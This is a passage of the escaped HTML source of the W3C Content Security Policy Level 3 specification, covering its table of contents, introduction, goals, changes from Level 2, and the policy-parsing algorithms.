href=\"#matching-elements\"><span class=\"secno\">6.6.2</span> <span class=\"content\">Element Matching Algorithms</span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#is-element-nonceable\"><span class=\"secno\">6.6.2.1</span> <span class=\"content\"> Is <var>element</var> nonceable? </span></a>\n          <li><a href=\"#allow-all-inline\"><span class=\"secno\">6.6.2.2</span> <span class=\"content\"> Does a source list allow all inline behavior for <var>type</var>? </span></a>\n          <li><a href=\"#match-element-to-source-list\"><span class=\"secno\">6.6.2.3</span> <span class=\"content\"> Does <var>element</var> match source list for <var>type</var> and <var>source</var>? </span></a>\n         </ol>\n       </ol>\n     </ol>\n    <li>\n     <a href=\"#security-considerations\"><span class=\"secno\">7</span> <span class=\"content\">Security and Privacy Considerations</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#security-nonces\"><span class=\"secno\">7.1</span> <span class=\"content\">Nonce Reuse</span></a>\n      <li><a href=\"#security-nonce-stealing\"><span class=\"secno\">7.2</span> <span class=\"content\">Nonce Stealing</span></a>\n      <li><a href=\"#security-nonce-retargeting\"><span class=\"secno\">7.3</span> <span class=\"content\">Nonce Retargeting</span></a>\n      <li><a href=\"#security-css-parsing\"><span class=\"secno\">7.4</span> <span class=\"content\">CSS Parsing</span></a>\n      <li><a href=\"#security-violation-reports\"><span class=\"secno\">7.5</span> <span class=\"content\">Violation Reports</span></a>\n      <li><a href=\"#source-list-paths-and-redirects\"><span class=\"secno\">7.6</span> <span class=\"content\">Paths and Redirects</span></a>\n      <li><a href=\"#security-secure-upgrades\"><span class=\"secno\">7.7</span> <span class=\"content\">Secure Upgrades</span></a>\n      <li><a href=\"#security-inherit-csp\"><span class=\"secno\">7.8</span> <span class=\"content\"> CSP Inheriting to avoid bypasses </span></a>\n     </ol>\n    <li>\n     <a href=\"#authoring-considerations\"><span class=\"secno\">8</span> <span class=\"content\">Authoring Considerations</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#multiple-policies\"><span class=\"secno\">8.1</span> <span class=\"content\"> The effect of multiple policies </span></a>\n      <li><a href=\"#strict-dynamic-usage\"><span class=\"secno\">8.2</span> <span class=\"content\"> Usage of \"<code>'strict-dynamic'</code>\" </span></a>\n      <li><a href=\"#unsafe-hashed-attributes-usage\"><span class=\"secno\">8.3</span> <span class=\"content\"> Usage of \"<code>'unsafe-hashed-attributes'</code>\" </span></a>\n      <li><a href=\"#external-hash\"><span class=\"secno\">8.4</span> <span class=\"content\"> Allowing external JavaScript via hashes </span></a>\n     </ol>\n    <li>\n     <a href=\"#implementation-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#extensions\"><span class=\"secno\">9.1</span> <span class=\"content\">Vendor-specific Extensions and Addons</span></a>\n     </ol>\n    <li>\n     <a href=\"#iana-considerations\"><span class=\"secno\">10</span> <span class=\"content\">IANA Considerations</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#iana-registry\"><span class=\"secno\">10.1</span> <span class=\"content\"> Directive Registry </span></a>\n      <li>\n       <a href=\"#iana-headers\"><span class=\"secno\">10.2</span> <span class=\"content\"> Headers </span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#iana-csp\"><span class=\"secno\">10.2.1</span> <span class=\"content\">Content-Security-Policy</span></a>\n        <li><a href=\"#iana-cspro\"><span class=\"secno\">10.2.2</span> <span class=\"content\">Content-Security-Policy-Report-Only</span></a>\n       </ol>\n     </ol>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">11</span> <span class=\"content\">Acknowledgements</span></a>\n    <li>\n     <a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n     </ol>\n    <li>\n     <a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ol>\n    <li>\n     <a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ol>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n    <li><a href=\"#issues-index\"><span class=\"secno\"></span> <span class=\"content\">Issues Index</span></a>\n   </ol>\n  </nav>\n  <main>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n    <p><em>This section is not normative.</em></p>\n    <p>This document defines <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content-security-policy\">Content Security Policy<a class=\"self-link\" href=\"#content-security-policy\"></a></dfn> (CSP), a tool\n  which developers can use to lock down their applications in various ways,\n  mitigating the risk of content injection vulnerabilities such as cross-site scripting, and\n  reducing the privilege with which their applications execute.</p>\n    <p>CSP is not intended as a first line of defense against content injection\n  vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces\n  the harm that a malicious injection can cause, but it is not a replacement for\n  careful input validation and output encoding.</p>\n    <p>This document is an iteration on Content Security Policy Level 2, with the\n  goal of more clearly explaining the interactions between CSP, HTML, and Fetch\n  on the one hand, and providing clear hooks for modular extensibility on the\n  other. Ideally, this will form a stable core upon which we can build new\n  functionality.</p>\n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"examples\"><span class=\"secno\">1.1. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h3>\n    <h4 class=\"heading settled\" data-level=\"1.1.1\" id=\"example-basic\"><span class=\"secno\">1.1.1. </span><span class=\"content\">Control Execution</span><a class=\"self-link\" href=\"#example-basic\"></a></h4>\n    <div class=\"example\" id=\"example-1451d1f8\">\n     <a class=\"self-link\" href=\"#example-1451d1f8\"></a> MegaCorp Inc’s developers want to protect themselves against cross-site\n    scripting attacks. They can mitigate the risk of script injection by\n    ensuring that their trusted CDN is the only origin from which script can\n    load and execute. Moreover, they wish to ensure that no plugins can\n    execute in their pages' contexts. The following policy has that effect: \n<pre>Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'\n</pre>\n    </div>\n    <h3 class=\"heading settled\" data-level=\"1.2\" id=\"goals\"><span class=\"secno\">1.2. </span><span class=\"content\">Goals</span><a class=\"self-link\" href=\"#goals\"></a></h3>\n    <p>Content Security Policy aims to do to a few related things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Mitigate the risk of content-injection attacks by giving developers\n  fairly granular control over</p>\n      <ul>\n       <li data-md=\"\">\n        <p>The resources which can be requested (and subsequently embedded or\n  executed) on behalf of a specific <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document\">Document</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#worker\" id=\"ref-for-worker\">Worker</a></code></p>\n       <li data-md=\"\">\n        <p>The execution of inline script</p>\n       <li data-md=\"\">\n        <p>Dynamic code execution (via <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-eval-x\" id=\"ref-for-sec-eval-x\">eval()</a></code> and similar constructs)</p>\n       <li data-md=\"\">\n        <p>The application of inline style</p>\n      </ul>\n     <li data-md=\"\">\n      <p>Mitigate the risk of attacks which require a resource to be embedded\n  in a malicious context (the \"Pixel Perfect\" attack described in <a data-link-type=\"biblio\" href=\"#biblio-timing\">[TIMING]</a>, for example) by giving developers granular control over the\n  origins which can embed a given resource.</p>\n     <li data-md=\"\">\n      <p>Provide a policy framework which allows developers to reduce the privilege\n  of their applications.</p>\n     <li data-md=\"\">\n      <p>Provide a reporting mechanism which allows developers to detect flaws\n  being exploited in the wild.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"1.3\" id=\"changes-from-level-2\"><span class=\"secno\">1.3. </span><span class=\"content\">Changes from Level 2</span><a class=\"self-link\" href=\"#changes-from-level-2\"></a></h3>\n    <p>This document describes an evolution of the Content Security Policy Level 2\n  specification <a data-link-type=\"biblio\" href=\"#biblio-csp2\">[CSP2]</a>. The following is a high-level overview of the changes:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>The specification has been rewritten from the ground up in terms of the <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a> specification, which should make it simpler to integrate CSP’s\n  requirements and restrictions with other specifications (and with\n  Service Workers in particular).</p>\n     <li data-md=\"\">\n      <p>The <code>child-src</code> model has been substantially altered:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>The <code>frame-src</code> directive, which was deprecated in CSP Level\n 2, has been undeprecated, but continues to defer to <code>child-src</code> if\n not present (which defers to <code>default-src</code> in turn).</p>\n       <li data-md=\"\">\n        <p>A <code>worker-src</code> directive has been added, deferring to <code>script-src</code> if not present (which likewise defers to <code>default-src</code> in turn).</p>\n       <li data-md=\"\">\n        <p><code>child-src</code> is now deprecated.</p>\n       <li data-md=\"\">\n        <p>Dedicated workers now always inherit their creator’s policy.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>The URL matching algorithm now treats insecure schemes and ports as\n  matching their secure variants. That is, the source expression <code>http://example.com:80</code> will match both <code>http://example.com:80</code> and <code>https://example.com:443</code>.</p>\n      <p>Likewise, <code>'self'</code> now matches <code>https:</code> and <code>wss:</code> variants of the page’s\n  origin, even on pages whose scheme is <code>http</code>.</p>\n     <li data-md=\"\">\n      <p>Violation reports generated from inline script or style will now report\n  \"<code>inline</code>\" as the blocked resource. Likewise, blocked <code>eval()</code> execution\n  will report \"<code>eval</code>\" as the blocked resource.</p>\n     <li data-md=\"\">\n      <p>The <code>manifest-src</code> directive has been added.</p>\n     <li data-md=\"\">\n      <p>The <code>report-uri</code> directive is deprecated in favor of the new <code>report-to</code> directive, which relies on <a data-link-type=\"biblio\" href=\"#biblio-reporting\">[REPORTING]</a> as infrastructure.</p>\n     <li data-md=\"\">\n      <p>The <code>'strict-dynamic'</code> source expression will now allow script which\n  executes on a page to load more script via non-<a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted\">\"parser-inserted\"</a> <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script\">script</a></code> elements. Details are in <a href=\"#strict-dynamic-usage\">§8.2 Usage of \"'strict-dynamic'\"</a>.</p>\n     <li data-md=\"\">\n      <div class=\"wip\">\n        The <code>'unsafe-hashed-attributes'</code> source expression will now allow event\n    handlers and style attributes to match hash source expressions. Details\n    in <a href=\"#unsafe-hashed-attributes-usage\">§8.3 Usage of \"'unsafe-hashed-attributes'\"</a>. \n       <p class=\"issue\" id=\"issue-2f321613\"><a class=\"self-link\" href=\"#issue-2f321613\"></a> <code>unsafe-hashed-attributes</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/13\">&lt;https://github.com/w3c/webappsec-csp/issues/13></a></p>\n      </div>\n     <li data-md=\"\">\n      <p>The <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression\">source expression</a> matching has been changed to require explicit presence\n  of any non-<a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#network-scheme\" id=\"ref-for-network-scheme\">network scheme</a>, rather than <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme\">local scheme</a>,\n  unless that non-<a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#network-scheme\" id=\"ref-for-network-scheme①\">network scheme</a> is the same as the scheme of protected resource,\n  as described in <a href=\"#match-url-to-source-expression\">§6.6.1.6 Does url match expression in origin with redirect count?</a>.</p>\n     <li data-md=\"\">\n      <p>Hash-based source expressions may now match external scripts if the <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①\">script</a></code> element that triggers the request specifies a set of integrity\n  metadata which is listed in the current policy. Details in <a href=\"#external-hash\">§8.4 Allowing external JavaScript via hashes</a>.</p>\n     <li data-md=\"\">\n      <div class=\"wip\">\n        The <a data-link-type=\"dfn\" href=\"#disown-opener\" id=\"ref-for-disown-opener\"><code>disown-opener</code></a> directive ensures that a resource can’t be opened\n    in such a way as to give another browsing context control over its contents. \n       <p class=\"issue\" id=\"issue-0915ad11\"><a class=\"self-link\" href=\"#issue-0915ad11\"></a> <code>disown-opener</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/194\">&lt;https://github.com/w3c/webappsec-csp/issues/194></a></p>\n      </div>\n     <li data-md=\"\">\n      <div class=\"wip\">\n        The <a data-link-type=\"dfn\" href=\"#navigation-to\" id=\"ref-for-navigation-to\"><code>navigation-to</code></a> directive gives a resource control over the endpoints\n    to which it can initiate navigation. \n       <p class=\"issue\" id=\"issue-a305d3f5\"><a class=\"self-link\" href=\"#issue-a305d3f5\"></a> <code>navigation-to</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/125\">&lt;https://github.com/w3c/webappsec-csp/issues/125></a></p>\n      </div>\n     <li data-md=\"\">\n      <p>Reports generated for inline violations will contain a <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample\">sample</a> attribute if the relevant directive contains the <a data-link-type=\"grammar\" href=\"#grammardef-report-sample\" id=\"ref-for-grammardef-report-sample\"><code>'report-sample'</code></a> expression.</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"2\" id=\"framework\"><span class=\"secno\">2. </span><span class=\"content\">Framework</span><a class=\"self-link\" href=\"#framework\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"framework-infrastructure\"><span class=\"secno\">2.1. </span><span class=\"content\">Infrastructure</span><a class=\"self-link\" href=\"#framework-infrastructure\"></a></h3>\n    <p>This document uses ABNF grammar to specify syntax, as defined in <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>. It also relies on\n  the <code>#rule</code> ABNF extension defined in <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a> of <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a>.</p>\n    <p>This document depends on the Infra Standard for a number of foundational concepts used in its\n  algorithms and prose <a data-link-type=\"biblio\" href=\"#biblio-infra\">[INFRA]</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"framework-policy\"><span class=\"secno\">2.2. </span><span class=\"content\">Policies</span><a class=\"self-link\" href=\"#framework-policy\"></a></h3>\n    <p>A <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policy\" data-lt=\"content security policy object\" id=\"content-security-policy-object\">policy</dfn> defines allowed\n  and restricted behaviors, and may be applied to a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\" id=\"ref-for-window\">Window</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\" id=\"ref-for-workerglobalscope\">WorkerGlobalScope</a></code>, or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\" id=\"ref-for-workletglobalscope\">WorkletGlobalScope</a></code> as described in <a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a>.</p>\n    <p>Each policy has an associated <dfn class=\"dfn-paneled\" data-dfn-for=\"policy\" data-dfn-type=\"dfn\" data-export=\"\" id=\"policy-directive-set\">directive set</dfn>, which is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ordered-set\" id=\"ref-for-ordered-set\">ordered\n  set</a> of <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives\">directives</a> that define the policy’s implications when applied.</p>\n    <p>Each policy has an associated <dfn class=\"dfn-paneled\" data-dfn-for=\"policy\" data-dfn-type=\"dfn\" data-export=\"\" id=\"policy-disposition\">disposition</dfn>, which is either\n  \"<code>enforce</code>\" or \"<code>report</code>\".</p>\n    <p>Each policy has an associated <dfn class=\"dfn-paneled\" data-dfn-for=\"policy\" data-dfn-type=\"dfn\" data-export=\"\" id=\"policy-source\">source</dfn>, which is either \"<code>header</code>\"\n  or \"<code>meta</code>\".</p>\n    <p>Multiple <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object\">policies</a> can be applied to a single resource, and are collected into a <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list\" id=\"ref-for-list\">list</a> of <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①\">policies</a> known as a <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"csp-list\">CSP list</dfn>.</p>\n    <p>A <a data-link-type=\"dfn\" href=\"#csp-list\" id=\"ref-for-csp-list\">CSP list</a> <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"contains-a-header-delivered-content-security-policy\">contains a header-delivered Content Security Policy<a class=\"self-link\" href=\"#contains-a-header-delivered-content-security-policy\"></a></dfn> if it <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list-contain\" id=\"ref-for-list-contain\">contains</a> a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②\">policy</a> whose <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source\">source</a> is \"<code>header</code>\".</p>\n    <p>A <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"serialized-csp\">serialized CSP</dfn> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string\">ASCII string</a> consisting of a semicolon-delimited\n  series of <a data-link-type=\"dfn\" href=\"#serialized-directive\" id=\"ref-for-serialized-directive\">serialized directives</a>, adhering to the following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-policy\">serialized-policy</dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-directive\" id=\"ref-for-grammardef-serialized-directive\">serialized-directive</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3\">OWS</a> \";\" [ <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3①\">OWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-serialized-directive\" id=\"ref-for-grammardef-serialized-directive①\">serialized-directive</a> ] )\n                    ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3②\">OWS</a> is defined in section 3.2.3 of RFC 7230\n</pre>\n    <p>A <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"serialized-csp-list\">serialized CSP list</dfn> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string①\">ASCII string</a> consisting of a comma-delimited\n  series of <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp\">serialized CSPs</a>, adhering to the following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-policy-list\">serialized-policy-list<a class=\"self-link\" href=\"#grammardef-serialized-policy-list\"></a></dfn> = 1#<a data-link-type=\"grammar\" href=\"#grammardef-serialized-policy\" id=\"ref-for-grammardef-serialized-policy\">serialized-policy</a>\n                    ; The '#' rule is defined in section 7 of RFC 7230\n</pre>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Parse a serialized CSP\" data-level=\"2.2.1\" id=\"parse-serialized-policy\"><span class=\"secno\">2.2.1. </span><span class=\"content\"> Parse a serialized CSP </span><a class=\"self-link\" href=\"#parse-serialized-policy\"></a></h4>\n    <p>To <dfn class=\"dfn-paneled\" data-dfn-type=\"abstract-op\" data-export=\"\" id=\"abstract-opdef-parse-a-serialized-csp\">parse a serialized CSP</dfn>, given a <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp①\">serialized CSP</a> (<var>serialized</var>), a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source①\">source</a> (<var>source</var>), and a <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition\">disposition</a> (<var>disposition</var>), execute the\n  following steps.</p>\n    <p>This algorithm returns a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③\">Content Security Policy object</a>. If <var>serialized</var> could not be\n  parsed, the object’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set\">directive set</a> will be empty.</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>Let <var>policy</var> be a new <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④\">policy</a> with an empty <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set①\">directive set</a>, a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source②\">source</a> of <var>source</var>, and a <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①\">disposition</a> of <var>disposition</var>.</p>\n     <li data-md=\"\">\n      <p>For each <var>token</var> returned by <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#strictly-split\" id=\"ref-for-strictly-split\">strictly splitting</a> <var>serialized</var> on\n  the U+003B SEMICOLON character (<code>;</code>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#strip-leading-and-trailing-ascii-whitespace\" id=\"ref-for-strip-leading-and-trailing-ascii-whitespace\">Strip leading and trailing ASCII whitespace</a> from <var>token</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>token</var> is an empty string, <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#iteration-continue\" id=\"ref-for-iteration-continue\">continue</a>.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive name</var> be the result of <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#collect-a-sequence-of-code-points\" id=\"ref-for-collect-a-sequence-of-code-points\">collecting a sequence of code points</a> from <var>token</var> which are not <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-whitespace\" id=\"ref-for-ascii-whitespace\">ASCII whitespace</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set②\">directive set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name\">name</a> is <var>directive name</var>, <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#iteration-continue\" id=\"ref-for-iteration-continue①\">continue</a>.</p>\n        <p>In this case, the user agent SHOULD notify developers that a duplicate directive was\n  ignored. A console warning might be appropriate, for example.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive value</var> be the result of <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#split-on-ascii-whitespace\" id=\"ref-for-split-on-ascii-whitespace\">splitting <var>token</var> on\n  ASCII whitespace</a>.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive</var> be a new <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①\">name</a> is <var>directive name</var>, and <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value\">value</a> is <var>directive value</var>.</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#set-append\" id=\"ref-for-set-append\">Append</a> <var>directive</var> to <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set③\">directive set</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>policy</var>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Parse a serialized CSP list\" data-level=\"2.2.2\" id=\"parse-serialized-policy-list\"><span class=\"secno\">2.2.2. </span><span class=\"content\"> Parse a serialized CSP list </span><a class=\"self-link\" href=\"#parse-serialized-policy-list\"></a></h4>\n    <p>To <dfn class=\"dfn-paneled\" data-dfn-type=\"abstract-op\" data-export=\"\" id=\"abstract-opdef-parse-a-serialized-csp-list\">parse a serialized CSP list</dfn>, given a <a data-link-type=\"dfn\" href=\"#serialized-csp-list\" id=\"ref-for-serialized-csp-list\">serialized CSP list</a> (<var>list</var>), a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source③\">source</a> (<var>source</var>), and a <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition②\">disposition</a> (<var>disposition</var>), execute the following\n  steps.</p>\n    <p>This algorithm returns a <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list\" id=\"ref-for-list①\">list</a> of <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤\">Content Security Policy objects</a>. If <var>list</var> cannot be\n  parsed, the returned list will be empty.</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>Let <var>policies</var> be an empty <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list\" id=\"ref-for-list②\">list</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>token</var> returned by <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#split-on-commas\" id=\"ref-for-split-on-commas\">splitting <var>list</var> on commas</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>policy</var> be the result of <a data-link-type=\"abstract-op\" href=\"#abstract-opdef-parse-a-serialized-csp\" id=\"ref-for-abstract-opdef-parse-a-serialized-csp\">parsing</a> <var>token</var>, with a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source④\">source</a> of <var>source</var>, and <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition③\">disposition</a> of <var>disposition</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set④\">directive set</a> is empty, <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#iteration-continue\" id=\"ref-for-iteration-continue②\">continue</a>.</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list-append\" id=\"ref-for-list-append\">Append</a> <var>policy</var> to <var>policies</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>policies</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"framework-directives\"><span class=\"secno\">2.3. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#framework-directives\"></a></h3>\n    <p>Each <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑥\">policy</a> contains an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ordered-set\" id=\"ref-for-ordered-set①\">ordered set</a> of <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directives\">directives</dfn> (its <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set⑤\">directive set</a>), each of which controls a specific behavior. The directives\n  defined in this document are described in detail in <a href=\"#csp-directives\">§6 Content Security Policy Directives</a>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives③\">directive</a> is a <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-name\">name</dfn> / <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-value\">value</dfn> pair. The <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name②\">name</a> is a\n  non-empty <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#string\" id=\"ref-for-string\">string</a>, and the <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①\">value</a> is a <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ordered-set\" id=\"ref-for-ordered-set②\">set</a> of non-empty <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#string\" id=\"ref-for-string①\">strings</a>. The <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②\">value</a> MAY be <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list-is-empty\" 